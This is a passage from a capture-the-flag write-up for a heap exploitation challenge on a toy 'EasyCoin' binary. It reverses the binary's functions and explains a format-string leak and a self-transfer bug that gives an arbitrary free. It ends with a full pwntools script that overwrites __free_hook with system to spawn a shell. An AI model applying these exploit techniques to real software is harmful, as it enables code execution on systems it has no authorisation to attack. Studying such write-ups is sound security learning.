    puts(" 1: register user");
    puts(" 2: login user");
    puts(" 3: exit");
    puts("------------------------------------------------");
    puts("which command?");
    printf("> ");
    read(0, buf, 4uLL);
    v3 = atoi(buf);
    switch ( v3 )
    {
      case 2:
        user = (const char **)login();
        if ( user )
        {
          printf("[+] Welcome to EasyCoin, %s\n\n", *user);
          v4 = 1;
        }
        break;
      case 3:
        exit(0);
      case 1:
        register();
        break;
      default:
        puts("[-] Invalid command!");
        break;
    }
    while ( v4 )
    {
      puts("------------------------------------------------");
      puts(" 1: display user info");
      puts(" 2: send coin");
      puts(" 3: display transaction");
      puts(" 4: change password");
      puts(" 5: delete this user");
      puts(" 6: logout");
      puts("------------------------------------------------");
      puts("which command?");
      printf("> ");
      read(0, buf, 4uLL);
      switch ( buf[0] )
      {
        case '1':
          display_user(user);
          break;
        case '2':
          send_coin(user);
          break;
        case '3':
          display_transaction(user);
          break;
        case '4':
          change_password(user);
          break;
        case '5':
          delete_user(user);
          v4 = 0;
          break;
        case '6':
          v4 = 0;
          break;
        default:
          printf("[-] Unknown Command: ");
          printf(buf);
          break;
      }
    }
  }
}
```

So there're 2 switch cases, first is before user signs in

`register` function

```cpp=
__int64 signup()
{
  void **user; // rbx
  __int64 v2; // rbx
  int index; // [rsp+4h] [rbp-4Ch]
  int i; // [rsp+8h] [rbp-48h]
  int j; // [rsp+Ch] [rbp-44h]
  char user_name[40]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  index = -1;
  printf("Please input username\n> ");
  read_(user_name, 31);
  for ( i = 0; i <= 4; ++i )
  {
    if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), user_name) )
    {
      puts("[-] This user already registerd");
      return 1LL;
    }
  }
  for ( j = 0; j <= 4; ++j )
  {
    if ( !*(&array + j) )
    {
      index = j;
      break;
    }
  }
  if ( index == -1 )
  {
    puts("[-] User Registration is over");
    exit(0);
  }
  *(&array + index) = malloc(0x20uLL);
  user = (void **)*(&array + index);
  *user = malloc(0x20uLL);
  v2 = (__int64)*(&array + index);
  *(_QWORD *)(v2 + 8) = malloc(0x20uLL);
  *((_QWORD *)*(&array + index) + 2) = 1000000000LL;
  *((_QWORD *)*(&array + index) + 3) = 0LL;
  strncpy(*(char **)*(&array + index), user_name, 0x1FuLL);
  printf("Please input password\n> ");
  read_(*((char **)*(&array + index) + 1), 31);
  printf("Verify input password\n> ");
  read_(user_name, 31);
  if ( !strcmp(*((const char **)*(&array + index) + 1), user_name) )
  {
    puts("[+] Registration success");
  }
  else
  {
    puts("[-] Password confirmation failed");
    free(*(void **)*(&array + index));
    free(*((void **)*(&array + index) + 1));
    free(*(&array + index));
    *(&array + index) = 0LL;
  }
  return 0LL;
}
```

The function gets `username` and `password` from user and calls `malloc` 3 times with `0x20` size 

And the struct of user stored in `array` is like


```
pointer(stored in array) |pointer to user name|pointer to password|1000000000|0|
```

So i have

`pointer[0]` points to `username`
`pointer[1]` points to `password`
`pointer[2]` contains `1000000000000`, the number of coins user has
`pointer[3]` points to transaction(will be introduced later), initialized as `0`


`login` function

```cpp=
__int64 login()
{
  int i; // [rsp+4h] [rbp-3Ch]
  char s2[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Please input username\n> ");
  read_(s2, 31);
  for ( i = 0; ; ++i )
  {
    if ( i > 4 )
    {
      puts("[-] This user is not registered");
      return 0LL;
    }
    if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), s2) )
      break;
  }
  printf("Please input password\n> ");
  read_(s2, 31);
  if ( !strcmp(*((const char **)*(&array + i) + 1), s2) )
    return (__int64)*(&array + i);
  puts("[-] Password error");
  return 0LL;
}
```

The the function requires a name then check if there's a user with that name by iterating the array. If is then check the password, if correct then returns the pointer of struct else returns `0`


`displayuser` function

```cpp=
__int64 __fastcall sub_400EAE(__int64 user)
{
  printf("[+] username: %s, money: %ld\n", *(const char **)user, *(_QWORD *)(user + 16));
  return 0LL;
}
```

Just print the `username` and the number of coins

`sendcoin` function

```cpp=
__int64 __fastcall send_coin(__int64 sender)
{
  int i; // [rsp+18h] [rbp-58h]
  int coin; // [rsp+1Ch] [rbp-54h]
  _QWORD *j; // [rsp+20h] [rbp-50h]
  _QWORD *k; // [rsp+20h] [rbp-50h]
  __int64 receiver; // [rsp+28h] [rbp-48h]
  _QWORD *transaction_sender; // [rsp+30h] [rbp-40h]
  _QWORD *transaction_receiver; // [rsp+38h] [rbp-38h]
  char v5[40]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v10; // [rsp+68h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  if ( (unsigned __int64)transaction_id > 0x64 )
  {
    puts("[-] Transaction is over");
    exit(1);
  }
  printf("What user do you send to?\n> ");
  read_(v5, 31);
  for ( i = 0; ; ++i )
  {
    if ( i > 4 )
    {
      puts("[-] This user is not registered");
      return 1LL;
    }
    if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), v5) )
      break;
  }
  receiver = (__int64)*(&array + i);
  printf("Hom many?\n> ");
  read(0, v5, 0x14uLL);
  coin = atol(v5);
  if ( coin > 0 && *(_QWORD *)(sender + 16) - coin >= 0LL )
  {
    transaction_receiver = malloc(0x28uLL);
    *transaction_receiver = 0LL;
    transaction_receiver[1] = sender;
    transaction_receiver[4] = coin;
    transaction_receiver[2] = transaction_id;
    transaction_receiver[3] = 1LL;
    *(_QWORD *)(receiver + 16) += coin;
    if ( *(_QWORD *)(receiver + 24) )
    {
      for ( j = *(_QWORD **)(receiver + 24); *j; j = (_QWORD *)*j )
        ;
      *j = transaction_receiver;
    }
    else
    {
      *(_QWORD *)(receiver + 24) = transaction_receiver;
    }
    transaction_sender = malloc(0x28uLL);
    *transaction_sender = 0LL;
    transaction_sender[1] = receiver;
    transaction_sender[4] = coin;
    transaction_sender[2] = transaction_id;
    transaction_sender[3] = 0LL;
    *(_QWORD *)(sender + 16) -= coin;
    ++transaction_id;
    if ( *(_QWORD *)(sender + 24) )
    {
      for ( k = *(_QWORD **)(sender + 24); *k; k = (_QWORD *)*k )
        ;
      *k = transaction_sender;
    }
    else
    {
      *(_QWORD *)(sender + 24) = transaction_sender;
    }
    puts("[+] Transaction success");
    return 0LL;
  }
  else
  {
    puts("[-] Can't execute this transaction");
    return 1LL;
  }
}
```


First the function requires a name of the receiver then it checks the user in `array`. If exist then user has to pass the number of `coin`

After that the function allocate 2 chunks as a transaction, one's for `sender`, one's for `receiver` and the transactions is stored as a linked list, the last transaction is put at the end of linked list

Transaction struct

`transaction[0]` points to next transaction
`transaction[1]` points to `receiver` or `sender` which is stored in `array`
`transaction[2]` is the `id` of transaction, calculated by a global variable
`transaction[3]` is `0` if stored in `sender`, `1` if stored in `receiver`

`transaction[4]` is the number of coin



`displaytransactions` function

```cpp=
__int64 __fastcall display_transaction(__int64 a1)
{
  __int64 **transaction; // [rsp+18h] [rbp-8h]

  if ( *(_QWORD *)(a1 + 24) )
  {
    for ( transaction = *(__int64 ***)(a1 + 24); ; transaction = (__int64 **)*transaction )
    {
      if ( transaction[3] )
        printf(
          "[+] id: %lu, recieve from %s, value: %ld\n",
          transaction[2],
          (const char *)*transaction[1],
          transaction[4]);
      else
        printf("[+] id: %lu, send to %s, value: %ld\n", transaction[2], (const char *)*transaction[1], transaction[4]);
      if ( !*transaction )
        break;
    }
  }
  else
  {
    puts("[-] No transaction");
  }
  return 0LL;
}
```

Iterating the linked list then prints them

`changepassword` function

```cpp=
char *__fastcall change_password(__int64 a1)
{
  printf("Please input password\n> ");
  return read_(*(char **)(a1 + 8), 31);
}
```

Change the `password` by `read` a pointer stored in `pointer + 8` (pointer is stored in `array`)



`deleteuser` function

```cpp=
__int64 __fastcall delete_user(void **a1)
{
  int v2; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  _QWORD *transaction; // [rsp+20h] [rbp-10h]
  _QWORD *ptr; // [rsp+28h] [rbp-8h]

  v2 = -1;
  for ( i = 0; i <= 4; ++i )
  {
    if ( *(&array + i) == a1 )
    {
      v2 = i;
      break;
    }
  }
  free(*a1);
  free(a1[1]);
  if ( a1[3] )
  {
    transaction = a1[3];
    while ( 1 )
    {
      free_transaction(transaction[1], (unsigned int)transaction[2]);
      if ( !*transaction )
        break;
      ptr = transaction;
      transaction = (_QWORD *)*transaction;
      ptr[1] = 0LL;
      *ptr = 0LL;
      free(ptr);
    }
    free(transaction);
  }
  else
  {
    puts("[-] No transaction");
  }
  free(a1);
  *(&array + v2) = 0LL;
  return 0LL;
}
```

The function first `free` the `username` field then `password` field

Next is handling the transactions

Loop through all transacions in linked list, each transaction it calls `free_transaction` function with parameters are the `sender` or `receiver` and transaction's id

```cpp=
__int64 __fastcall sub_4012A0(__int64 a1, int a2)
{
  _QWORD *transaction; // [rsp+10h] [rbp-10h]
  _QWORD *v4; // [rsp+18h] [rbp-8h]

  if ( *(_QWORD *)(a1 + 24) )
  {
    v4 = 0LL;
    for ( transaction = *(_QWORD **)(a1 + 24); transaction[2] != a2; transaction = (_QWORD *)*transaction )
    {
      if ( !*transaction )
        return 1LL;
      v4 = transaction;
    }
    if ( v4 )
      *v4 = *transaction;
    else
      *(_QWORD *)(a1 + 24) = *transaction;
    free(transaction);
    return 0LL;
  }
  else
  {
    puts("[-] No transaction");
    return 1LL;
  }
}
```

So the `free_transaction` handles the transaction stored in the other user by loop through the linked list of that user until meeting a transaction with the same id then unlink the linked then `free` the transaction


The `delete_user` then `free` the struct and clear the `array`


So now to the exploit

In `send_coin` function a user can send to himself, so that 2 transactions will be stored on the same user

And remember `transaction[4]` is the number of coins, the chunk size is `0x30` so `transaction[4]` is the start of the next chunk.

The idea is that

I register `3` user: `user1`, `user2`, `user3`

First `user1` send `10` coins to `user2`

Then `user2` send `10` coins to himself

So the chunks will be like

```
start of heap
0x10     struct user1
0x40     user1(name)
0x70     pass (password)
0xa0     struct user2
0xd0     user2
0x100    pass
0x130    struct user3
0x160    user3
0x190    pass
0x1c0    transaction stored in user2 (user1 sends to user2)
0x1f0    transaction stored in user1 (user1 sends to user2)
0x220    transaction stored in user2 (user2 sends to user2)
0x250    transaction stored in user2 (user2 sends to user2)
```

![](https://hackmd.io/_uploads/SkcKHWQtn.png)


Now if i delete `user2`

First it `free` the `name` and `password` (it's fine)

The interesting is handling the transactions

First it handles the `0x1c0` (first transaction is `user2`), it will call `free_transaction` to free `0x1f0` in `user1` then free the `0x1c0`

When handle `0x220` it will call `free_transaction` with `user2` struct, the first transaction is in `user2` is `0x1c0`, of course its id is not the `id` of `0x220` (1) so it will iterate the value stored in `0x1c0`

Because `0x1c0` is freed so the value stored in it is a start of the `0x1f0` chunk( because it's freed right before `0x1c0`)

We can controll that because it's `transaction[4]` field of `0x1c0` which is number of coins user sends

Pointer to a chunk having the `id` is 1 then it will be freed

That means i have arbitrary free

The idea i freeing the `password` field of `user1` so i have `uaf` bug.



## Leak the libc

Notice that there's a vulnerability in loop switch case

>  printf(buf);

But i can only pass `4` bytes to `read` so the only thing that format string can do is leaking

I tried `0` to `9` and it can leak heap and libc( and the stack but i don't need it)

![](https://hackmd.io/_uploads/H1xeU_bQKh.png)


![](https://hackmd.io/_uploads/ryAIuWQFn.png)


```python=
#leak the libc
p.recv(1024)
p.sendline(b'%3$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_libc = p.recv(14)
leak_libc = int(leak_libc.decode(), 16)
libc.address = leak_libc - 894880
print('leak libc: {}'.format(hex(leak_libc)))
print('libc: {}'.format(hex(libc.address)))



#leak heap
p.recv(1024)
p.sendline(b'%9$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_heap = p.recv(9)
#print('leak heap: {}'.format(leak_heap))
leak_heap = int(leak_heap.decode(), 16)
heap = leak_heap - 16
print('leak heap: {}'.format(hex(leak_heap)))
print('heap: {}'.format(hex(heap)))

```


## free the password chunk of user1

To free the `password` field i just need to put address of `password` to the `transaction[4]` of the first `send_coin` which is the number of coins

But i also have to change the `password` to point to another valid transaction with the id is `1` because it calls `free_transaction` 2 times of `user2`. To do this i make it point to itself


```python=
pass1_chunk = heap + 0x70
change_password(p64(pass1_chunk) + b'A'*8 + p64(1))
```

After `delete_user`

![](https://hackmd.io/_uploads/rylUcWXt3.png)


Now i have the same chunk in fastbin (offset of `password` is `0x70`)

Now i remove first 2 chunks in fastbin by `send_coin` to `user3`


## write to free hook

I register a user then `malloc` will return `heap + 0x70` to the struct user 

Craft some metadata of `password` to not break the fastbin(actually it might be not neccessary)

> register_user(b'/bin/sh\x00', p64(heap + 0x220) + p64(heap + 0x70)) #password to not break the fastbin and first pointer points to name


![](https://hackmd.io/_uploads/rJRDjZmF2.png)


First i register with `username` is `exploit` and `password` is `__malloc_hook` and it works


I can directly write `__free_hook` to `password` field of `/bin/sh` user but the program crashes many times so i just put a normal value then user `change_password` of `user1` to write `__free_hook`

Writting `system` to `__free_hook`

![](https://hackmd.io/_uploads/SJTmhb7th.png)

Because `delete_user` `free` the `name` field first so i set `username` is `/bin/sh`

Trigger `delete_user`

![](https://hackmd.io/_uploads/B1qInb7Yh.png)


Success

![](https://hackmd.io/_uploads/SyLdnZQth.png)


solve.py

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/heap3/pwn3_uaf')
libc = elf.libc

p = process()
#gdb.attach(p)

def register_user(name, password):
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'> ')
    p.sendline(name)
    p.recvuntil(b'> ')
    p.sendline(password)
    p.recvuntil(b'> ')
    p.sendline(password)
def login(name, password):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'> ')
    p.sendline(name)
    p.recvuntil(b'> ')
    p.sendline(password)
def send_coin(receiver, coin):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'> ')
    p.sendline(receiver)
    p.recvuntil(b'> ')
    p.sendline(str(coin).encode())
def display_user():
    p.recvuntil(b'> ')
    p.sendline(b'1')
def display_transactions():
    p.recvuntil(b'> ')
    p.sendline(b'3')
def change_password(new_password):
    p.recvuntil(b'> ')
    p.sendline(b'4')
    p.recvuntil(b'> ')
    p.sendline(new_password)
def delete_user():
    p.recvuntil(b'> ')
    p.sendline(b'5')
def logout():
    p.recvuntil(b'> ')
    p.sendline(b'6')


user1_pass = b'A'*16 + b'\x01'
user3_pass = b'B'*16
register_user(b'user1', user1_pass)
register_user(b'user2', b'pass')
register_user(b'user3', user3_pass)



################################################
#    FREE PASS1 CHUNK
###############################################
login(b'user1', user1_pass)
#leak the libc
p.recv(1024)
p.sendline(b'%3$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_libc = p.recv(14)
leak_libc = int(leak_libc.decode(), 16)
libc.address = leak_libc - 894880
print('leak libc: {}'.format(hex(leak_libc)))
print('libc: {}'.format(hex(libc.address)))



#leak heap
p.recv(1024)
p.sendline(b'%9$p')
p.recvuntil(b'[-] Unknown Command: ')
leak_heap = p.recv(9)
#print('leak heap: {}'.format(leak_heap))
leak_heap = int(leak_heap.decode(), 16)
heap = leak_heap - 16
print('leak heap: {}'.format(hex(leak_heap)))
print('heap: {}'.format(hex(heap)))


#pass3_chunk = heap + 0x190
pass1_chunk = heap + 0x70
change_password(p64(pass1_chunk) + b'A'*8 + p64(1))

#free the pass chunk

send_coin(b'user2', pass1_chunk) # controll the linked list
logout()

login(b'user2', b'pass')
send_coin(b'user2', 20)

delete_user() # free pass1 chunk
###########################################
#      FREED PASS1 CHUNK
###########################################

#write free hook
print('free hook: {}'.format(hex(libc.symbols['__free_hook'])))
user1_pass = heap + 0x210 
login(b'user1', p64(user1_pass))
send_coin(b'user1', 10) #remove 2 first chunks in fastbin
logout()
print('A')
register_user(b'/bin/sh\x00', p64(heap + 0x220) + p64(heap + 0x70)) #password to not break the fastbin and first pointer points to name

#change password pointer of /bin/sh
login(b'user1', p64(heap + 0x220))
change_password(p64(heap + 0x220) + p64(libc.symbols['__free_hook']))
logout()


#write to free hook
login(b'/bin/sh\x00', b'\x00' + b'A')
change_password(p64(libc.symbols['system']))
delete_user()




p.interactive()
```